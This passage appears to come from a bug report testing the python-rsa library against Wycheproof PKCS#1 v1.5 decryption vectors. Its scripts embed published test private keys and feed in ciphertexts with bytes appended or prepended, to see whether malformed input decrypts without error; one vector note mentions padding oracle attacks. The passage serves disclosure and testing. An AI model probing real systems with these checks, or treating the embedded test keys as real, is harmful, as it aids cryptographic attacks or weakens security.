bytes.fromhex("00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) """ { "tcId" : 32, "comment" : "appended bytes to ciphertext", "msg" : "54657374", "ct" : "4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d0000", "result" : "invalid", "flags" : [] }, """ print("\nTest with appended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d0000") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) print("\nTest with original ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("4501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) ``` 3072-bit test vector: ``` import rsa from rsa import PrivateKey import json """ { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "0501205bd17b88d0d6626dd0fec898a0fd7f68f8dddcc314f74d167c40495b958a87e4ed63202e6ac68f4f4f4b88e3ec7a07d85757a7458468b766aad9a40f77337855408b28d140e75c2e6b3604ea8907bbd7f8e9578c2400ae645d28e2deef8bf718e29cf12fccb92fef9869f43aee5bd6adc223848d169cd6c27c2766652766ff81993b3e015a553decee0ffdc1624f39f8d96b6ed5d95047c1570b59fa2eb3d688dd5e14acc9407b8094f18b4694244eb1adcd655d873f57ff9af6e4fec470be236baf3b20c2040ab360d759c8b4e618bf8bd4e0ec6698f1b72c7160ed0521c82b5176b60fb63503d0ae23f6e2fb7a609305b0af62150b921ac53f4de899666cb01db0c9d8b650753015c1b6e682e6bf38204e59f7409c3808c0e53f254935540a381a963c2c1a77c6f987f06a07a0572686ed22882dbc82e7823cec080a58d72b09d00cc1d245cf158ff49cc40599d3af719dc301b4aa7f5b03629ae853e9daabe284db86d5c41d0401143df2b4593ef4e3747209c523f5a7f80f02d011", "e" : "010001", "keysize" : 3072, "n" : "00dc8f7880672f0cf9d63617a8a58bdd271a109badda0fa826f94b8a795526b6a49a80564ccaba8a9491a935a53edeae1d9a7b5463d9e2ef3ee0ce7bff5d4b6c8147b5c073c2f220515d531d55a36687a6de3c34775c2f15191ac0a742d7342228c8d910fe6bbca439539c485debcbd0ee0e4bae317503b83cee8100ac7bb4587467cbc4373c4bda2eedf7c41631e50922b580f5bce81d24b208cabcd2d75fcfe99f75b493dffc5c9bd990f7fc3bf2efe392fecae36f3e4ef4456c1b5de99cc7451733a910b6834b61ec29274d986be3752c350b13a327dabc08dfcf6565499ad26e853446633eadb2970ca95bcf6bf05ffdbc2a804378d76985a71f06f90979f9fef716c36aa625a45b5eedf50825a53e9d9435b23caab9e5c64d38fd3a767e185ad7727d6e15f9e9bab2f4184d6487695db9a2698c672b2e823410dbef1d93fe40c9d357ee9fc77f849de11363f583af8ccf5181ca1aeb944c422516cb401e950923e4bd881439fa1093c77582bfe1ac5993674700b6434339e0245315d86fcb", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "BQEgW9F7iNDWYm3Q_siYoP1_aPjd3MMU900WfEBJW5WKh-TtYyAuasaPT09LiOPsegfYV1enRYRot2aq2aQPdzN4VUCLKNFA51wuazYE6okHu9f46VeMJACuZF0o4t7vi_cY4pzxL8y5L--YafQ67lvWrcIjhI0WnNbCfCdmZSdm_4GZOz4BWlU97O4P_cFiTzn42Wtu1dlQR8FXC1n6LrPWiN1eFKzJQHuAlPGLRpQkTrGtzWVdhz9X_5r25P7EcL4ja687IMIECrNg11nItOYYv4vU4OxmmPG3LHFg7QUhyCtRdrYPtjUD0K4j9uL7emCTBbCvYhULkhrFP03omWZssB2wydi2UHUwFcG25oLmvzggTln3QJw4CMDlPyVJNVQKOBqWPCwad8b5h_BqB6BXJobtIogtvILngjzsCApY1ysJ0AzB0kXPFY_0nMQFmdOvcZ3DAbSqf1sDYproU-naq-KE24bVxB0EARQ98rRZPvTjdHIJxSP1p_gPAtAR", "dp" : "8b-0DNVlc5cay162WwzSv0UCIo8s7KWkXDdmEVHL_bCgooIztgD-cn_WunHp8eFeTVMmCWCQf-Ac4dYU6iILrMhRJUG3hmN9UfM1X9RCIq97Di7RHZRUtPcWUjSy6KYhiN_zye8hyhwW9wqDNhUHXKK5woZBOY_U9Y_PJlD3Uqpqdgy1hN2WnOyA4ctN_etr8au4BmGJK899wopeozCcis9_A56K9T8mfVF6NzfS3hqcoVj-8XH4vaHppvA7CRKx", "dq" : "Pjwq6NNi3JKU4txx0gUPfd_Z6lTVwwKDZq9nvhoJzeev5y4nclPELatjK_CELKaY9gLZk9GG4pBMZ2q5Zsb6Oq3uxNVgAyr1sOrRAljgQS5frTGFXm3cHjdC2leECzFX6OlGut5vxv5F5X87oKXECCXfVrx2HNptJpN1fEvTGNQUxSfLdBTjUdfEnYVk7TebwAhIBs7FCAbhyGcot80rYGISpDJnv2lNZFPcyec_W3mKSaQzHSY6IiIVS12DSkNJ", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "3I94gGcvDPnWNheopYvdJxoQm63aD6gm-UuKeVUmtqSagFZMyrqKlJGpNaU-3q4dmntUY9ni7z7gznv_XUtsgUe1wHPC8iBRXVMdVaNmh6bePDR3XC8VGRrAp0LXNCIoyNkQ_mu8pDlTnEhd68vQ7g5LrjF1A7g87oEArHu0WHRny8Q3PEvaLu33xBYx5QkitYD1vOgdJLIIyrzS11_P6Z91tJPf_Fyb2ZD3_Dvy7-OS_srjbz5O9EVsG13pnMdFFzOpELaDS2HsKSdNmGvjdSw1CxOjJ9q8CN_PZWVJmtJuhTRGYz6tspcMqVvPa_Bf_bwqgEN412mFpx8G-Ql5-f73FsNqpiWkW17t9QglpT6dlDWyPKq55cZNOP06dn4YWtdyfW4V-em6svQYTWSHaV25ommMZysugjQQ2-8dk_5AydNX7p_Hf4Sd4RNj9YOvjM9Rgcoa65RMQiUWy0AelQkj5L2IFDn6EJPHdYK_4axZk2dHALZDQzngJFMV2G_L", "p" : "_sahC_xJtYoshQ6v69uZdkmpVXWgwXYxsBHLINejICMqgVua9gQNe_I9Jn5eBjBMM-BMhebUgUQvAQqXWLoINkpwA175npyY7rQxUFsq-2d50ckdDqL7CmXcOR557Np9Uv191pkjsl365EjKzoKeusprPIo8tkqBgAYUQ0iVd4wg1imxJbafQpRfZrZE84QLz6b842EHQlbFCGPsyiznVrSp-36ZPQ8fpIssxIW36qYUBfvvFQ51Y8IVCBF2feD5", "q" : "3Z7BzubYqXGxZpAsRKTwLvN6YgU7QSiKHYc9OZy8nnvTBu2QZIfaL0m8HBgJwNTYgQbWh5UY7ZJf62aq1f88K4NGbFVO2XuWq-9Vs7AjFPUNA4WgodikauA-j86RtBISDwoQ3GgVcPpWS2hzus2Ze2FrK9dzP7cjreI7wQidoy5QlYNDbx40SLV5-yGyQGINIEWNCPD5lauswKOY8KtqZ8n1vPfgMvsdZo_mmNgDJ1ma4_3zqqqxm68XY5RDGUvj", "qi" : "GMyXHpGG-GwUTRQM6rvJriLJTo2FdTVvtqSgM5ke8hC6-jmkzRq_qZszL96eVpVa8XlFmnI2pwC3_R2ICTkG9hMK58qXQtntDVxj5qnptD302LJhwS0sL5FIvAZp8WW4uIGHnD7VjUps1aPxGT6avSeEYJwB-5CUx8giUyrXrsKgiu6eJjCVrQQmRVy1kljH_Tcxyone4xgA0ZHtcklyHCUmZlDEbcv7rjBwYE0uAJkUouJpoBuvpb34u6McTztg" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "308206fd020100300d06092a864886f70d0101010500048206e7308206e30201000282018100dc8f7880672f0cf9d63617a8a58bdd271a109badda0fa826f94b8a795526b6a49a80564ccaba8a9491a935a53edeae1d9a7b5463d9e2ef3ee0ce7bff5d4b6c8147b5c073c2f220515d531d55a36687a6de3c34775c2f15191ac0a742d7342228c8d910fe6bbca439539c485debcbd0ee0e4bae317503b83cee8100ac7bb4587467cbc4373c4bda2eedf7c41631e50922b580f5bce81d24b208cabcd2d75fcfe99f75b493dffc5c9bd990f7fc3bf2efe392fecae36f3e4ef4456c1b5de99cc7451733a910b6834b61ec29274d986be3752c350b13a327dabc08dfcf6565499ad26e853446633eadb2970ca95bcf6bf05ffdbc2a804378d76985a71f06f90979f9fef716c36aa625a45b5eedf50825a53e9d9435b23caab9e5c64d38fd3a767e185ad7727d6e15f9e9bab2f4184d6487695db9a2698c672b2e823410dbef1d93fe40c9d357ee9fc77f849de11363f583af8ccf5181ca1aeb944c422516cb401e950923e4bd881439fa1093c77582bfe1ac5993674700b6434339e0245315d86fcb0203010001028201800501205bd17b88d0d6626dd0fec898a0fd7f68f8dddcc314f74d167c40495b958a87e4ed63202e6ac68f4f4f4b88e3ec7a07d85757a7458468b766aad9a40f77337855408b28d140e75c2e6b3604ea8907bbd7f8e9578c2400ae645d28e2deef8bf718e29cf12fccb92fef9869f43aee5bd6adc223848d169cd6c27c2766652766ff81993b3e015a553decee0ffdc1624f39f8d96b6ed5d95047c1570b59fa2eb3d688dd5e14acc9407b8094f18b4694244eb1adcd655d873f57ff9af6e4fec470be236baf3b20c2040ab360d759c8b4e618bf8bd4e0ec6698f1b72c7160ed0521c82b5176b60fb63503d0ae23f6e2fb7a609305b0af62150b921ac53f4de899666cb01db0c9d8b650753015c1b6e682e6bf38204e59f7409c3808c0e53f254935540a381a963c2c1a77c6f987f06a07a0572686ed22882dbc82e7823cec080a58d72b09d00cc1d245cf158ff49cc40599d3af719dc301b4aa7f5b03629ae853e9daabe284db86d5c41d0401143df2b4593ef4e3747209c523f5a7f80f02d0110281c100fec6a10bfc49b58a2c850eafebdb997649a95575a0c17631b011cb20d7a320232a815b9af6040d7bf23d267e5e06304c33e04c85e6d481442f010a9758ba08364a70035ef99e9c98eeb431505b2afb6779d1c91d0ea2fb0a65dc391e79ecda7d52fd7dd69923b25dfae448cace829ebaca6b3c8a3cb64a81800614434895778c20d629b125b69f42945f66b644f3840bcfa6fce361074256c50863ecca2ce756b4a9fb7e993d0f1fa48b2cc485b7eaa61405fbef150e7563c2150811767de0f90281c100dd9ec1cee6d8a971b166902c44a4f02ef37a62053b41288a1d873d399cbc9e7bd306ed906487da2f49bc1c1809c0d4d88106d6879518ed925feb66aad5ff3c2b83466c554ed97b96abef55b3b02314f50d0385a0a1d8a46ae03e8fce91b412120f0a10dc681570fa564b6873bacd997b616b2bd7733fb723ade23bc1089da32e509583436f1e3448b579fb21b240620d20458d08f0f995abacc0a398f0ab6a67c9f5bcf7e032fb1d668fe698d80327599ae3fdf3aaaab19baf17639443194be30281c100f1bfb40cd56573971acb5eb65b0cd2bf4502228f2ceca5a45c37661151cbfdb0a0a28233b600fe727fd6ba71e9f1e15e4d53260960907fe01ce1d614ea220bacc8512541b786637d51f3355fd44222af7b0e2ed11d9454b4f7165234b2e8a62188dff3c9ef21ca1c16f70a833615075ca2b9c28641398fd4f58fcf2650f752aa6a760cb584dd969cec80e1cb4dfdeb6bf1abb80661892bcf7dc28a5ea3309c8acf7f039e8af53f267d517a3737d2de1a9ca158fef171f8bda1e9a6f03b0912b10281c03e3c2ae8d362dc9294e2dc71d2050f7ddfd9ea54d5c3028366af67be1a09cde7afe72e277253c42dab632bf0842ca698f602d993d186e2904c676ab966c6fa3aadeec4d560032af5b0ead10258e0412e5fad31855e6ddc1e3742da57840b3157e8e946bade6fc6fe45e57f3ba0a5c40825df56bc761cda6d2693757c4bd318d414c527cb7414e351d7c49d8564ed379bc0084806cec50806e1c86728b7cd2b606212a43267bf694d6453dcc9e73f5b798a49a4331d263a2222154b5d834a43490281c018cc971e9186f86c144d140ceabbc9ae22c94e8d8575356fb6a4a033991ef210bafa39a4cd1abfa99b332fde9e56955af179459a7236a700b7fd1d88093906f6130ae7ca9742d9ed0d5c63e6a9e9b43df4d8b261c12d2c2f9148bc0669f165b8b881879c3ed58d4a6cd5a3f1193e9abd2784609c01fb9094c7c822532ad7aec2a08aee9e263095ad0426455cb59258c7fd3731ca89dee31800d191ed7249721c25266650c46dcbfbae3070604d2e009914a2e269a01bafa5bdf8bba31c4f3b60", "type" : "RsaesPkcs1Decrypt", { "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "000063b63f6eb3fd2322a6c85ed16318932e83f32535b3ec2527fb41dcc865bc44690554467655034ad33aa0fa993788e80654ab0e0174f8dd238ad68c3bc194f390dd38d26408778774848c49a6a606e7fb1b3bfbf5f19db4d4d1ba2db43fefb9a9bac311f2e1fc1ab4f5ddc00a009b9dc435448f250a648b206fe764505805c9bed1729d5bfeaa4fddafc115d281703fab0e79726d5546fa698a45ca6e5e561b8c2964b2da01914f808a498ab77672eda3432ed9974f0a06d320ff87a4222899f893a6cb6abf13d7e56cce2ee7eae67fc26f2274b63ce8301c721d7195158b6c966b8d36e3cff0aec6f218b0fa6d8490493471ee0f08b840b6cdcbb73a164246864de0f35565bbebe51585819e42a425090479537ed67f98236415e6ad3ca81116beb91db802dfb3f9da733f86cb6fa90904c8a382afcbf6162f0d89ee04973f2d26659325f7f00a4ae9e800de6aa27b6c94b9d57791658eb0714b7cba5466ecfe44bd5803647c3825b58c37187311a8b11399f53a877c265da82493a90869e376", "result" : "invalid", "flags" : [] }, """ print("\nTest with prepended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\nMIIG4wIBAAKCAYEA3I94gGcvDPnWNheopYvdJxoQm63aD6gm+UuKeVUmtqSagFZM\nyrqKlJGpNaU+3q4dmntUY9ni7z7gznv/XUtsgUe1wHPC8iBRXVMdVaNmh6bePDR3\nXC8VGRrAp0LXNCIoyNkQ/mu8pDlTnEhd68vQ7g5LrjF1A7g87oEArHu0WHRny8Q3\nPEvaLu33xBYx5QkitYD1vOgdJLIIyrzS11/P6Z91tJPf/Fyb2ZD3/Dvy7+OS/srj\nbz5O9EVsG13pnMdFFzOpELaDS2HsKSdNmGvjdSw1CxOjJ9q8CN/PZWVJmtJuhTRG\nYz6tspcMqVvPa/Bf/bwqgEN412mFpx8G+Ql5+f73FsNqpiWkW17t9QglpT6dlDWy\nPKq55cZNOP06dn4YWtdyfW4V+em6svQYTWSHaV25ommMZysugjQQ2+8dk/5AydNX\n7p/Hf4Sd4RNj9YOvjM9Rgcoa65RMQiUWy0AelQkj5L2IFDn6EJPHdYK/4axZk2dH\nALZDQzngJFMV2G/LAgMBAAECggGABQEgW9F7iNDWYm3Q/siYoP1/aPjd3MMU900W\nfEBJW5WKh+TtYyAuasaPT09LiOPsegfYV1enRYRot2aq2aQPdzN4VUCLKNFA51wu\nazYE6okHu9f46VeMJACuZF0o4t7vi/cY4pzxL8y5L++YafQ67lvWrcIjhI0WnNbC\nfCdmZSdm/4GZOz4BWlU97O4P/cFiTzn42Wtu1dlQR8FXC1n6LrPWiN1eFKzJQHuA\nlPGLRpQkTrGtzWVdhz9X/5r25P7EcL4ja687IMIECrNg11nItOYYv4vU4OxmmPG3\nLHFg7QUhyCtRdrYPtjUD0K4j9uL7emCTBbCvYhULkhrFP03omWZssB2wydi2UHUw\nFcG25oLmvzggTln3QJw4CMDlPyVJNVQKOBqWPCwad8b5h/BqB6BXJobtIogtvILn\ngjzsCApY1ysJ0AzB0kXPFY/0nMQFmdOvcZ3DAbSqf1sDYproU+naq+KE24bVxB0E\nARQ98rRZPvTjdHIJxSP1p/gPAtARAoHBAP7GoQv8SbWKLIUOr+vbmXZJqVV1oMF2\nMbARyyDXoyAjKoFbmvYEDXvyPSZ+XgYwTDPgT